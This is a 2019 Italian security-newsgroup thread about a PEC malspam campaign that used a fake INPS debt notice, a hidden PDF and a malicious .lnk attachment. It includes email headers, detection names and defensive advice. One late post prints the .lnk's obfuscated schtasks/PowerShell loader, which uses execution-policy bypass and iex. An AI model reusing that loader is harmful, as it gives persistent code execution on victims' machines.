Discussione:
BELLO questo virus per PEC
(troppo vecchio per rispondere)
Bowlingbpsl
2019-07-23 16:38:07 UTC
Permalink
Volevo farvi partecipi di un virus inviato via PEC. Mandato di domenica
(piu' o meno il momento in cui l'AdE ti manda le sue PEC).

Vedo questo strano indirizzo del mittente tal ***@pec.programonline it
(che pero' non e' che il PVC c'entri granche', col fisco...)

L'allegato e' STRANO. Bisogna andare a trovarselo in mezzo all'email.
Questo file chiamato comunicazione-44740870439.zip contiene un

comunicazione clientela.pdf (con flag "hidden")
comunicazione clientela.lnk

Il PDF l'ho fatto assaggiare a virustotal. Nessun problema, dicono.
Ma non si apre... e non sono del tutto scemo da cliccare sul resto.

Cosi' ho cercato...

https://www.cybersecurity360.it/nuove-minacce/malware-sload-nuova-campagna-di-malspam-verso-le-pec-dei-professionisti-i-consigli-per-difendersi/

E' QUASI uguale al "mio". Io ho un .lnk anziche' .vbs. Ma sospetto sia
lo stesso, piu' o meno mascherato (se qualcuno confermasse...)

In pratica, il pdf e' volutamente illeggibile. Cosi', l'impiegato di
turno va a cliccare sull'altro file. Che provvede a scaricare il
virus.

BTW: poche segnalazioni da virustotal
Header:

Return-Path: <***@pec.programonline it>
Original-Recipient: rfc822;
(omissis)
Received: from smtps.pec.aruba.it (95.110.223.24) by mx.cert.legalmail.it
(9.0.034.01)
id 5C893F83039CA11D for (omissis); Sun, 21 Jul 2019 21:53:20 +0200
Received: from [127.0.0.1]
(host196-85-static.11-79-b.business.telecomitalia.it [79.11.85.196])
(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client
certificate requested) by smtps.pec.aruba.it (Postfix) with ESMTPSA id
45sFlz5qvfz2NNNqG for <>; Sun,
21 Jul 2019 21:53:19 +0200 (CEST)
Subject: POSTA CERTIFICATA: Avviso di addebito n. 44740870439 - Gestione
Gestione Aziende con lavoratori dipendenti
X-Riferimento-Message-ID: <***@pec.programonline it>
Date: Sun, 21 Jul 2019 21:53:20 +0200
Message-ID: <***@pec.aruba.it>
Reply-To: ***@pec.programonline it

...l'ip 79.11.85.196 sta in Campania? A chi posso segnalarlo?

Colto da ispirazione, dato .zip a virustotal (e non solo il PDF)
Queste sono le "sole" segnalazioni. Comodo se la sta prendendo... comoda.

DrWeb Trojan.Siggen8.37361
GData Archive.Trojan-Downloader.Paliz.A
Kaspersky Trojan.Multi.GenAutorunLnkFile.a
Microsoft PUA:Win32/Presenoker
Qihoo-360 Susp.lnk.script
Sophos AV Mal/LnkDrop-A
ZoneAlarm by Check Point Trojan.Multi.GenAutorunLnkFile.a


Qui sotto il testo. Bella roba. Ho notato l'uso "antico" delle accentate
(con l'apostrofo. Roba dei tempi del C64, Vic 20 et similia. Il candidato
alla futura vivisezione ha una certa eta', per caso?).




************************************************************************

Spett.

Con la presente si notifica di aver proceduto al controllo della po=
sizione contributiva sopra riportata relativamente a: Emissione da
03/= 2019.

L'avviso di addebito n. 44740870439 che costituisce titolo e=
secutivo ai sensi dell'art. 30, comma 1, del DL n. 78/2010 convertito
= con modificazioni in Legge n. 122/2010, è allegato alla present= e e
riguarda i contributi accertati e dovuti a titolo di Gestione Azie=
nde con lavoratori dipendenti per l'importo totale, comprensivo delle
= spese di notifica e degli oneri di riscossione, di: 3.928,00. euro
=



{Il dettaglio e le motivazioni sono riportate nella sezione
"DETTAGLIO DEGLI ADDEBITI E DEGLI IMPORTI DOVUTI" dell'avviso di
addebito sopra identificato.}


Questo e' un messaggio di posta elettronica generato automaticament= e
dal sistema. La preghiamo di non rispondere/inviare email all'indiri=
zzo mittente, perche' e' una casella applicativa, pertanto qualsiasi
m= essaggio non sara' letto.

Clausola di riservatezza

Le informazioni contenute in questo messaggio di posta elettronica =
sono riservate e confidenziali e ne è vietata la diffusione In =
qualunque modo eseguita. Qualora Lei non fosse la persona a cui il
pre= sente messaggio è destinato, La invitiamo gentilmente ad elimin=
arlo dopo averne dato tempestiva comunicazione al mittente e a non
uti= lizzare In alcun caso il suo contenuto. Qualsiasi utilizzo non
autoriz= zato di questo messaggio e dei suoi eventuali allegati espone
il respo= nsabile alle relative conseguenze civili e penali.

Notice to recipient

This e-mail is strictly confidential And meant For only the intende= d
recipient of the transmission. If you received this e-mail by mistak=
e, Any review, Use, dissemination, distribution, Or copying of this
e-= mail Is strictly prohibited. Please notify us immediately of the
Error= by Return e-mail And please Delete this message From your
system. Tha= nk you In advance For your cooperation.
Gabriele - onenet
2019-07-23 21:02:32 UTC
Permalink
Post by Bowlingbpsl
Volevo farvi partecipi di un virus inviato via PEC. Mandato di domenica
(piu' o meno il momento in cui l'AdE ti manda le sue PEC).
(che pero' non e' che il PVC c'entri granche', col fisco...)
Noooo, ma che dici, la PEC è sicurissima! :-P
Post by Bowlingbpsl
L'allegato e' STRANO. Bisogna andare a trovarselo in mezzo all'email.
Questo file chiamato comunicazione-44740870439.zip contiene un
comunicazione clientela.pdf (con flag "hidden")
comunicazione clientela.lnk
Il PDF l'ho fatto assaggiare a virustotal. Nessun problema, dicono.
Ma non si apre... e non sono del tutto scemo da cliccare sul resto.
Cosi' ho cercato...
https://www.cybersecurity360.it/nuove-minacce/malware-sload-nuova-campagna-di-malspam-verso-le-pec-dei-professionisti-i-consigli-per-difendersi/
E' QUASI uguale al "mio". Io ho un .lnk anziche' .vbs. Ma sospetto sia
lo stesso, piu' o meno mascherato (se qualcuno confermasse...)
In pratica, il pdf e' volutamente illeggibile. Cosi', l'impiegato di
turno va a cliccare sull'altro file. Che provvede a scaricare il
virus.
Sì avevo letto di queste PEC mirate al mercato italiano. il metodo in effetti è
intelligente.
Post by Bowlingbpsl
BTW: poche segnalazioni da virustotal
Original-Recipient: rfc822;
(omissis)
Received: from smtps.pec.aruba.it (95.110.223.24) by mx.cert.legalmail.it
(9.0.034.01)
id 5C893F83039CA11D for (omissis); Sun, 21 Jul 2019 21:53:20 +0200
Received: from [127.0.0.1]
(host196-85-static.11-79-b.business.telecomitalia.it [79.11.85.196])
(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client
certificate requested) by smtps.pec.aruba.it (Postfix) with ESMTPSA id
45sFlz5qvfz2NNNqG for <>; Sun,
21 Jul 2019 21:53:19 +0200 (CEST)
Subject: POSTA CERTIFICATA: Avviso di addebito n. 44740870439 - Gestione
Gestione Aziende con lavoratori dipendenti
Date: Sun, 21 Jul 2019 21:53:20 +0200
...l'ip 79.11.85.196 sta in Campania? A chi posso segnalarlo?
***@retail.telecomitalia.it secondo l'whois, però il PTR mostra
"host196-85-static.11-79-b.business.telecomitalia.it." e quindi buh?
Dovrebbe essere in Lombardia.

Scrivi anche a: "***@staff.aruba.it" e "***@infocert.it" e chiedi
perché lasciano passare sta roba invece d bloccare (o mettere in qualche
quarantena) allegati del genere. Vediamo se e cosa rispondono!

Magari avverti anche il fornitore di PEC dell'untore (program[at]programonline.it)
Post by Bowlingbpsl
Colto da ispirazione, dato .zip a virustotal (e non solo il PDF)
Queste sono le "sole" segnalazioni. Comodo se la sta prendendo... comoda.
DrWeb Trojan.Siggen8.37361
GData Archive.Trojan-Downloader.Paliz.A
Kaspersky Trojan.Multi.GenAutorunLnkFile.a
Microsoft PUA:Win32/Presenoker
Qihoo-360 Susp.lnk.script
Sophos AV Mal/LnkDrop-A
ZoneAlarm by Check Point Trojan.Multi.GenAutorunLnkFile.a
Qui sotto il testo. Bella roba. Ho notato l'uso "antico" delle accentate
(con l'apostrofo. Roba dei tempi del C64, Vic 20 et similia. Il candidato
alla futura vivisezione ha una certa eta', per caso?).
[...]

Hai il link di Virus Total? così per vedere gli aggiornamenti del caso.

ciao
Gabriele
ObiWan
2019-07-24 14:10:20 UTC
Permalink
:: On Tue, 23 Jul 2019 23:02:32 +0200
:: (it.comp.sicurezza.virus)
Post by Gabriele - onenet
Noooo, ma che dici, la PEC è sicurissima! :-P
Si, come no, ROTFL !
Post by Gabriele - onenet
Sì avevo letto di queste PEC mirate al mercato italiano. il metodo in
effetti è intelligente.
Non è che siano "mirate"; il discorso è veramente BANALE, un computer,
che può anche essere in una rete aZZZZiendale, si becca un malware; lo
stesso, come quasi tutti i malware recenti, dopo essersi insediato per
bene sul sistema, e prima di qualsiasi altra cosa, si spazzola a fondo
il disco, estraendo tutte le info interessanti, incluse le credenziali
della PEC, e le manda al suo "Badrone", a quel punto il gioco è fatto.
Bowlingbpsl
2019-07-25 07:32:54 UTC
Permalink
Post by ObiWan
Post by Gabriele - onenet
Post by ObiWan
On Tue, 23 Jul 2019 23:02:32 +0200
(it.comp.sicurezza.virus)
Noooo, ma che dici, la PEC è sicurissima! :-P
Si, come no, ROTFL !
Post by Gabriele - onenet
Sì avevo letto di queste PEC mirate al mercato italiano. il metodo in
effetti è intelligente.
Non è che siano "mirate"; il discorso è veramente BANALE, un computer,
che può anche essere in una rete aZZZZiendale, si becca un malware; lo
stesso, come quasi tutti i malware recenti, dopo essersi insediato per
bene sul sistema, e prima di qualsiasi altra cosa, si spazzola a fondo
il disco, estraendo tutte le info interessanti, incluse le credenziali
della PEC, e le manda al suo "Badrone", a quel punto il gioco è fatto.
Cazzo. Il mio commercialista non e' sicuro di non aver cliccato sul file
infettante (che da me era .LNK, ma da quello che mi dicevano su
virustotal, era trans... cioe' mascherato).

Che gli dico, che gli hanno gia' rubato le credenziali?


Fabrizio
ObiWan
2019-07-25 13:37:01 UTC
Permalink
:: On Thu, 25 Jul 2019 09:32:54 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Cazzo. Il mio commercialista non e' sicuro di non aver cliccato sul
file infettante (che da me era .LNK, ma da quello che mi dicevano su
virustotal, era trans... cioe' mascherato).
Che gli dico, che gli hanno gia' rubato le credenziali?
Direi che, a parte fare un bel controllo approfondito del sistema (e di
eventuali altri sistemi connessi in rete), farebbe bene a cambiare la
password della PEC (e non solo quella)
Yorgos
2019-07-24 14:51:59 UTC
Permalink
Post by Bowlingbpsl
Volevo farvi partecipi di un virus inviato via PEC. Mandato di domenica
(piu' o meno il momento in cui l'AdE ti manda le sue PEC).
Anche l'INPS lancia l'allarme:

https://www.inps.it/nuovoportaleinps/default.aspx?itemdir=53006
--
Bye, Yorgos
My blog: https://yorgoskourtakis.wordpress.com/
To send me an e-mail, please change cambronne with merde
Bowlingbpsl
2019-07-25 10:02:05 UTC
Permalink
Post by Bowlingbpsl
BTW: poche segnalazioni da virustotal
Non avevo notato che il link e' upladabile.

Eccolo qui

https://www.virustotal.com/gui/file/c2a62c5c4ff47f524b6200d5965e5f281ddbbc50cfc2c0a4ffb51c91677a174c/detection

Trovo a dir poco PREOCCUPANTE che non ci siano evoluzioni. Sono 4 gatti ad
essersi accorti del pericolo... :-(


Fabrizio
ObiWan
2019-07-25 13:45:14 UTC
Permalink
:: On Thu, 25 Jul 2019 12:02:05 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Trovo a dir poco PREOCCUPANTE che non ci siano evoluzioni. Sono 4
gatti ad essersi accorti del pericolo... :-(
proprio quattro, no

https://www.virustotal.com/gui/file/c2a62c5c4ff47f524b6200d5965e5f281ddbbc50cfc2c0a4ffb51c91677a174c/detection

:)
ObiWan
2019-07-25 13:59:22 UTC
Permalink
:: On Thu, 25 Jul 2019 15:45:14 +0200
:: (it.comp.sicurezza.virus)
Post by ObiWan
:: On Thu, 25 Jul 2019 12:02:05 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Trovo a dir poco PREOCCUPANTE che non ci siano evoluzioni. Sono 4
gatti ad essersi accorti del pericolo... :-(
proprio quattro, no
https://www.virustotal.com/gui/file/c2a62c5c4ff47f524b6200d5965e5f281ddbbc50cfc2c0a4ffb51c91677a174c/detection
per chiarezza, in alto a destra c'è un bottone con la classica "freccia
avvolta" che, se cliccato, forza la ripetizione dell'analisi del file;
ad oggi gli AV che riconoscono il malware sono 14 su 55, ma se proverai
a ripetere l'analisi nei prossimi giorni (o anche tra qualche ora), gli
AV potrebbero essere di più; questo permette anche di farsi un'idea
della velocità con qui i vari AV aggiornano le firme in presenza di un
nuovo tipo di malware
Bowlingbpsl
2019-07-26 15:55:13 UTC
Permalink
Post by ObiWan
Post by ObiWan
Post by ObiWan
On Thu, 25 Jul 2019 15:45:14 +0200
(it.comp.sicurezza.virus)
proprio quattro, no
Si, vabbe', non sapevo della funzione refresh, ma mi paiono
pericolosamente pochini...
Post by ObiWan
Post by ObiWan
https://www.virustotal.com/gui/file/c2a62c5c4ff47f524b6200d5965e5f281ddbbc50cfc2c0a4ffb51c91677a174c/detection
per chiarezza, in alto a destra c'è un bottone con la classica "freccia
avvolta" che, se cliccato, forza la ripetizione dell'analisi del file;
ad oggi gli AV che riconoscono il malware sono 14 su 55, ma se
Adesso adesso, vedo che mancano all'appello di quelli che conosco: Avira,
Comodo, Avast, Bitdefender, ClamAV, Fprot... mi pare un'ecatombe.
Post by ObiWan
a ripetere l'analisi nei prossimi giorni (o anche tra qualche ora),
Non vorrei sembrare troppo esigente, ma a Comodo gliel'ho uploadato sul
loro sito IERI... e dormono ancora?
Post by ObiWan
AV potrebbero essere di più; questo permette anche di farsi un'idea
della velocità con qui i vari AV aggiornano le firme in presenza di un
nuovo tipo di malware
Qui si e' sempre detto qualcosa tipo "uno vale l'altro", ma non mi pare
mica vero...
Sto pensando che Kaspersky merita un ritorno... anche se, d a buon barbun,
sono limitato dal fatto che non c'e' la versione free.


Fabrizio
ArchiPit
2019-07-27 05:50:06 UTC
Permalink
Rispondo qui sotto a Bowlingbpsl
Post by Bowlingbpsl
Sto pensando che Kaspersky merita un ritorno... anche se, d a buon barbun,
sono limitato dal fatto che non c'e' la versione free.
Guatda bene...
https://www.kaspersky.it/free-antivirus
ArchiPit
2019-07-27 06:09:38 UTC
Permalink
Rispondo qui sotto a ArchiPit
Post by ArchiPit
Rispondo qui sotto a Bowlingbpsl
Post by Bowlingbpsl
Sto pensando che Kaspersky merita un ritorno... anche se, d a buon barbun,
sono limitato dal fatto che non c'e' la versione free.
Guatda bene...
https://www.kaspersky.it/free-antivirus
Alla versione free dovrebbe mancare l'analisi euristica cioè ha solo
l'analisi per firme virali e non credo blocchi i siti malevoli.
Per il resto è uguale alla versione a pagamento.
Bowlingbpsl
2019-07-29 16:11:32 UTC
Permalink
Post by ArchiPit
Rispondo qui sotto a ArchiPit
Post by ArchiPit
Rispondo qui sotto a Bowlingbpsl
Post by Bowlingbpsl
Sto pensando che Kaspersky merita un ritorno... anche se, d a buon
barbun, sono limitato dal fatto che non c'e' la versione free.
Guatda bene...
https://www.kaspersky.it/free-antivirus
Alla versione free dovrebbe mancare l'analisi euristica cioè ha solo
l'analisi per firme virali e non credo blocchi i siti malevoli.
Per il resto è uguale alla versione a pagamento.
Sui siti malevoli... importasega. Credo di aver una ragionevole protezione
grazie a noscript/adblock.
Pero' la mancanza dell'euristica, non mi pare poco.

Non ho nemmeno capito la differenza tra la versione da (pocopiu' di) 20
euro, (poco piu' di) 30 e (ecc ecc) 50.

Boh? Per me e' cirillico.


Fabrizio :-P
ArchiPit
2019-07-30 11:20:54 UTC
Permalink
Rispondo qui sotto a Bowlingbpsl
Post by Bowlingbpsl
Per me e' cirillico
giustamente, essendo russo... :-)
ObiWan
2019-07-29 09:47:29 UTC
Permalink
:: On Fri, 26 Jul 2019 17:55:13 +0200
:: (it.comp.sicurezza.virus)
Avira, Comodo, Avast, Bitdefender, ClamAV, Fprot... mi pare
un'ecatombe.
Come dicevo, dipende dalla velocità con la quale i vari produttori
pubblicano le "firme", qualcuno è più veloce di altri; per quanto
riguarda clamAV, mi dispiace solo di non avere un'esemplare di quel
malware, altrimenti mi piacerebbe fare una prova, ho idea che con le
firme che uso (che non solo SOLO quelle ufficiali) clamAV potrebbe
beccare il "coso" :)
Non vorrei sembrare troppo esigente, ma a Comodo gliel'ho uploadato
sul loro sito IERI... e dormono ancora?
te l'ho scritto sopra, dipende dai produttori; comunque considera che,
almeno fino a qualche tempo fa, quando venivano caricati "campioni" su
VirusTotal, gli stessi venivano anche inviati ai vari AV "labs"
Qui si e' sempre detto qualcosa tipo "uno vale l'altro"
mai detta una cosa del genere; ma vedi, quello che serve sul serio, a
parte la fondamentale attivazione di quel coso piazzato in mezzo alle
orecchie :) è un sistema di difesa stratificato, l'antivirus sul PC, in
tale tipo di sistema, è solo l'ultimo stadio, prima di arrivare a tale
stadio, qualsiasi cosa passa attraverso una serie di altri controlli
Bowlingbpsl
2019-07-29 16:08:27 UTC
Permalink
Post by ObiWan
Post by ObiWan
On Fri, 26 Jul 2019 17:55:13 +0200
(it.comp.sicurezza.virus)
Avira, Comodo, Avast, Bitdefender, ClamAV, Fprot... mi pare
un'ecatombe.
Come dicevo, dipende dalla velocità con la quale i vari produttori
pubblicano le "firme", qualcuno è più veloce di altri; per quanto
Non per fare il pignolo, ma... :-(
Post by ObiWan
riguarda clamAV, mi dispiace solo di non avere un'esemplare di quel
malware, altrimenti mi piacerebbe fare una prova, ho idea che con le
Mi basta sapere se la tua email e' in chiaro e te lo mando. Con password.
Post by ObiWan
Non vorrei sembrare troppo esigente, ma a Comodo gliel'ho uploadato
sul loro sito IERI... e dormono ancora?
te l'ho scritto sopra, dipende dai produttori; comunque considera che,
Qui "nomen omen" mi pare persino troppo poco sarcastico...
Post by ObiWan
almeno fino a qualche tempo fa, quando venivano caricati "campioni" su
VirusTotal, gli stessi venivano anche inviati ai vari AV "labs"
Cosa sono, tutti in ferie? Dormono?
Post by ObiWan
mai detta una cosa del genere; ma vedi, quello che serve sul serio, a
parte la fondamentale attivazione di quel coso piazzato in mezzo alle
orecchie :) è un sistema di difesa stratificato, l'antivirus sul PC,
in tale tipo di sistema, è solo l'ultimo stadio, prima di arrivare a
Sarei lievemente allarmato, perche' le prime linee sono state penetrate
come non ci fossero... e mi sono salvato grazie al mio cervello, non certo
per l'antivirus.
Quello che non so, e' se con W7, cliccando sul .lnk (forse un .VBS
mascherato?), mi sarebbe stato chiesta l'autorizzazione ad eseguirlo come
amministratore, che UN MINIMO dovrebbe allarmare. Un minimo, eh.

Non mi piace, ecco.


Fabrizio
Bowlingbpsl
2019-09-10 14:03:24 UTC
Permalink
Post by Bowlingbpsl
Post by Bowlingbpsl
BTW: poche segnalazioni da virustotal
Non avevo notato che il link e' upladabile.
Eccolo qui
https://www.virustotal.com/gui/file/c2a62c5c4ff47f524b6200d5965e5f281ddbbc50cfc2c0a4ffb51c91677a174c/detection
Trovo a dir poco PREOCCUPANTE che non ci siano evoluzioni. Sono 4
gatti ad essersi accorti del pericolo... :-(
Non vorrei sembrare ingenuo ma noto che dopo piu' di un mese, ci sono un
po' di antivirus che, semplicemente, non se ne sono accorti.
Comodo, ad esempio.


Fabrizio
ObiWan
2019-09-10 14:06:45 UTC
Permalink
:: On Tue, 10 Sep 2019 16:03:24 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Non vorrei sembrare ingenuo ma noto che dopo piu' di un mese, ci sono
un po' di antivirus che, semplicemente, non se ne sono accorti.
Comodo, ad esempio.
Prova a "spacchettare" lo zip e carica il file contenuto nello stesso;
vedi, alcuni AV per "far prima" ignorano gli "zip" (o comunque i files
compressi) ma *controllano* i files quando vengono estratti, per cui, è
possibile che alcuni AV non diano alcun risultato sullo "zip" ma
possano darlo sul contenuto dello stesso
Bowlingbpsl
2019-09-12 07:30:38 UTC
Permalink
Post by ObiWan
Post by Bowlingbpsl
Post by ObiWan
On Tue, 10 Sep 2019 16:03:24 +0200
(it.comp.sicurezza.virus)
Non vorrei sembrare ingenuo ma noto che dopo piu' di un mese, ci sono
un po' di antivirus che, semplicemente, non se ne sono accorti.
Comodo, ad esempio.
Prova a "spacchettare" lo zip e carica il file contenuto nello stesso;
vedi, alcuni AV per "far prima" ignorano gli "zip" (o comunque i files
Malgrado gli abbia fatto controllare specificamente lo zip, col clic lungo
da Total Commander e "scan con Comodo AV"?
Post by ObiWan
compressi) ma *controllano* i files quando vengono estratti, per cui,
Si, ma virustotal continua a dire che Comodo non rileva un piffero.
Tenderei a crederci. E' molto, ma molto preoccupante.
Ho uploadato lo zip a Comodo, dici che dovrei uploadare il file infetto?
(che e' un .LNK, per la cronaca. Non capisco come mai, io pensavo dovesse
essere .VBS o .JS o simili. Come fa ad imbrogliare il sistema operativo?)
Post by ObiWan
è possibile che alcuni AV non diano alcun risultato sullo "zip" ma
possano darlo sul contenuto dello stesso
Non vorrei trarre conclusioni affrettate, ma se non mi dici qualcosa tipo
"no, hai capito male, in realta'..." sto pensando di disinstallarlo, in
favore di antivirus piu' reattivi. Anche a pagamento.

Io mi aspetto che un antivirus mi avvisi che il contenuto che sto
cliccando, sia rischioso... anche se e' "nuovo".
Dimmi se sbaglio, perche' qui una persona non tanto scafata sarebbe caduto
nella trappola.
In fondo, persino "io" non ne ero sicuro, tanto che ho aperto il PDF,
confidando nella eventuale resistenza di PDF Xchange e nello scan "pulito"
di Comodo.
Il .LNK col piffero che lo cliccavo, ma questo grazie a molti anni di
frequentazione di questo NG.


Fabrizio
ObiWan
2019-09-12 13:24:09 UTC
Permalink
:: On Thu, 12 Sep 2019 09:30:38 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Si, ma virustotal continua a dire che Comodo non rileva un piffero.
Tenderei a crederci. E' molto, ma molto preoccupante.
Ho uploadato lo zip a Comodo, dici che dovrei uploadare il file
infetto? (che e' un .LNK, per la cronaca. Non capisco come mai, io
pensavo dovesse essere .VBS o .JS o simili. Come fa ad imbrogliare il
sistema operativo?)
prova a caricare il file "lnk" (ma ANCHE il "PDF" !!) su VT, vediamo
cosa ti dice :)
Post by Bowlingbpsl
Non vorrei trarre conclusioni affrettate, ma se non mi dici qualcosa
tipo "no, hai capito male, in realta'..." sto pensando di
disinstallarlo, in favore di antivirus piu' reattivi. Anche a
pagamento.
Personalmente sto usando ormai da tempo il solo "defender" e non ho
avuto alcun problema; se però ti serve un AV per "utonti" prova a dare
un'occhiata a sophos ed a nod32, eviterei se possibile il KAV dato che
ti mette letteralmente a sedere i sistemi, specie se datati
Post by Bowlingbpsl
Io mi aspetto che un antivirus mi avvisi che il contenuto che sto
cliccando, sia rischioso... anche se e' "nuovo".
Di antivirus paranoici ne esistono, anzi, credo che anche il "comodo"
abbia una serie di settaggi a livello "paranoia" (ma forse mi sbaglio,
è un pezzo che non lo provo); il problema è che in quella modalità ti
arriva una marea di alert talmente esagerata che alla fine la ignori...
e quando arriva l'ennesimo alert "buono" succede il patatrac :P
Post by Bowlingbpsl
In fondo, persino "io" non ne ero sicuro, tanto che ho aperto il PDF,
confidando nella eventuale resistenza di PDF Xchange e nello scan
"pulito" di Comodo.
Non è detto che il PDF sia pulito, considera che l'abitudine di usare
"contenuto attivo" nei documenti non è solo appannaggio di MS, un PDF
potrebbe anche contenere pezzi di script che fanno diosacosa; nel mio
caso preferisco usare SumatraPDF, certo non gestisce le "forms" ed il
contenuto "attivo", ma per quello basta usare un altro reader *DOPO*
aver verificato che il PDF sia "sano" :)
Post by Bowlingbpsl
Il .LNK col piffero che lo cliccavo, ma questo grazie a molti anni di
frequentazione di questo NG.
Ma c'è chi invece lo cliccherebbe subito :P alla fine della fiera, il
discorso è semplice, e credo di averlo già fatto; l'anticoso sul PC è
soltanto l'ULTIMA linea di difesa, un qualsiasi file, prima di arrivare
al PC dell'uTONTO dovrebbe sempre passare attraverso una serie di
check, e la cosa vale anche per il traffico di rete, un bel "proxy" che
filtra tutto il traffico spesso vale MOLTO più di quanto costa :)
gio
2019-09-13 06:48:56 UTC
Permalink
Post by ObiWan
:: On Thu, 12 Sep 2019 09:30:38 +0200
:: (it.comp.sicurezza.virus)
[cut]
Post by ObiWan
Ma c'è chi invece lo cliccherebbe subito :P alla fine della fiera, il
discorso è semplice, e credo di averlo già fatto; l'anticoso sul PC è
soltanto l'ULTIMA linea di difesa, un qualsiasi file, prima di arrivare
al PC dell'uTONTO dovrebbe sempre passare attraverso una serie di
check, e la cosa vale anche per il traffico di rete, un bel "proxy" che
filtra tutto il traffico spesso vale MOLTO più di quanto costa :)
Appliance SonicWall, qualche migliaio di E all'anno, gestita (a caro
prezzo) dal fornitore e da SW stessa. Sicurezza perimetrale 'a prova di
bomba' quindi... Quello zip è passato.

E meno male che avevo disattivato l'esecuzione degli script nelle
macchine dell'amministrazione.
--
gio
ObiWan
2019-09-13 15:19:32 UTC
Permalink
:: On Fri, 13 Sep 2019 08:48:56 +0200
:: (it.comp.sicurezza.virus)
Post by gio
Appliance SonicWall, qualche migliaio di E all'anno, gestita (a caro
prezzo) dal fornitore e da SW stessa. Sicurezza perimetrale 'a prova
di bomba' quindi... Quello zip è passato.
Hm... come scrivevo, mi piacerebbe avere una copia di quello "zip" per
passarlo a ClamAV con le firme che uso io (che non solo soltanto quelle
ufficiali); semplice curiosità, null'altro, fatto sta che "qui" NON è
arrivato/passato (ok, ammetto di non aver controllato i log, per cui
non so se sia arrivato "alla porta")

Per il resto, se hai un gateway di quel genere credo avrai anche un
dominio AD con tanto di policies, in tal caso, considera l'idea di
adottare una policy di "whitelisting" del software; in pratica, con
quella in piedi "gira" solo il sw autorizzato, il resto ... "boom",
ovviamente potrai poi decidere a quali gruppi di macchine applicare
tale policy e/o se usare policies diverse per vari gruppi; una buona
idea sarebbe quella di impostarla "stretta" sui sistemi dedicati ad
amministrazione e su quelli "guest" ed usarne una più "rilassata" sui
sistemi usati da sviluppatori o per lo meno gente che sa quello che sta
facendo :)
Bowlingbpsl
2019-09-17 09:42:20 UTC
Permalink
Post by ObiWan
Post by ObiWan
On Fri, 13 Sep 2019 08:48:56 +0200
Hm... come scrivevo, mi piacerebbe avere una copia di quello "zip" per
passarlo a ClamAV con le firme che uso io (che non solo soltanto
quelle ufficiali); semplice curiosità, null'altro, fatto sta che
Se l'email e' corretta, te lo mando.
Vedo solo ora che a Leonardo e' rimbalzato indietro. Tu leggiti il suo
commento. :-P
Post by ObiWan
"qui" NON è arrivato/passato (ok, ammetto di non aver controllato i
log, per cui non so se sia arrivato "alla porta")
Sara' un caso, ma vedo che il gestore della PEC ha cambiato interfaccia
(ed autenticazione, credo). Che nervi.


Fabrizio
ObiWan
2019-09-17 10:22:02 UTC
Permalink
:: On Tue, 17 Sep 2019 11:42:20 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Se l'email e' corretta, te lo mando.
Se lo hai mandato NON è arrivato :D

(no, non ho controllato i log)
ObiWan
2019-09-17 10:31:27 UTC
Permalink
:: On Tue, 17 Sep 2019 12:22:02 +0200
:: (it.comp.sicurezza.virus)
Post by ObiWan
:: On Tue, 17 Sep 2019 11:42:20 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Se l'email e' corretta, te lo mando.
Se lo hai mandato NON è arrivato :D
(no, non ho controllato i log)
Ok, arrivato ora (lo zip nello zip con pwd ha funto), prima di tutto
MSE sega il PDF al volo (poi controllo), però già che c'ero ho perso
due secondi a dare un'occhiata al "lnk"; bellino, richiama schtasks e
lancia uno script powershell; qui sotto un pezzo di roba dal "lnk"

Windows\System32\schtasks.exe

/F /Create /TN "AI" /sc minute /MO 2 /ST 05:52 /TR "%comspec% /c
pow%tmp:~5,3%hell /ep bypass /win 1 /c '&{cd %public:~-15,9%;$o=ls
-force -r -in comu*.*|select -last 1;$o=gc -LiteralPath $o|select -last
1;iex $o}'"!%SystemRoot%\System32\shell32.dll

per il pdf, con calma me lo guardo e faccio qualche test
Bowlingbpsl
2019-09-18 13:51:51 UTC
Permalink
Post by ObiWan
Post by ObiWan
On Tue, 17 Sep 2019 12:22:02 +0200
(it.comp.sicurezza.virus)
due secondi a dare un'occhiata al "lnk"; bellino, richiama schtasks e
lancia uno script powershell; qui sotto un pezzo di roba dal "lnk"
Windows\System32\schtasks.exe
Io non so perche' un file, che dovrebbe contenere un innocuo link, possa
richiamare eseguibili...
Post by ObiWan
/F /Create /TN "AI" /sc minute /MO 2 /ST 05:52 /TR "%comspec% /c
pow%tmp:~5,3%hell /ep bypass /win 1 /c '&{cd %public:~-15,9%;$o=ls
-force -r -in comu*.*|select -last 1;$o=gc -LiteralPath $o|select
-last 1;iex $o}'"!%SystemRoot%\System32\shell32.dll
Ergh... "sorridi ed annuisci, facendo finta di capire tutto". :-P
Post by ObiWan
per il pdf, con calma me lo guardo e faccio qualche test
BTW, quando hai altra calma, se nel NG .wireless avessi tempo per
illuminarmi su una frase sibillina letta su aliexpress... O:-)


Fabrizio
ObiWan
2019-09-19 06:52:42 UTC
Permalink
:: On Wed, 18 Sep 2019 15:51:51 +0200
:: (it.comp.sicurezza.virus)
Post by Bowlingbpsl
Post by ObiWan
due secondi a dare un'occhiata al "lnk"; bellino, richiama schtasks
e lancia uno script powershell; qui sotto un pezzo di roba dal "lnk"
Windows\System32\schtasks.exe
Io non so perche' un file, che dovrebbe contenere un innocuo link,
possa richiamare eseguibili...
un "lnk" è un collegamento, ed un collegamento può puntare a qualunque
oggetto, sia un file, una cartella o un eseguibile, come in questo caso
Post by Bowlingbpsl
Post by ObiWan
/F /Create /TN "AI" /sc minute /MO 2 /ST 05:52 /TR "%comspec% /c
pow%tmp:~5,3%hell /ep bypass /win 1 /c '&{cd %public:~-15,9%;$o=ls
-force -r -in comu*.*|select -last 1;$o=gc -LiteralPath $o|select
-last 1;iex $o}'"!%SystemRoot%\System32\shell32.dll
Ergh... "sorridi ed annuisci, facendo finta di capire tutto". :-P
apri cmd ed immetti

schtasks /Create /?|more

in pratica usa schtasks per creare un task ripetuto ogni 2 minuti che
lancia "powershell" ed esegue lo script powershell seguente

'&{cd %public:~-15,9%;$o=ls -force -r -in comu*.*|select -last 1;$o=gc
-LiteralPath $o|select -last 1;iex
$o}'"!%SystemRoot%\System32\shell32.dll
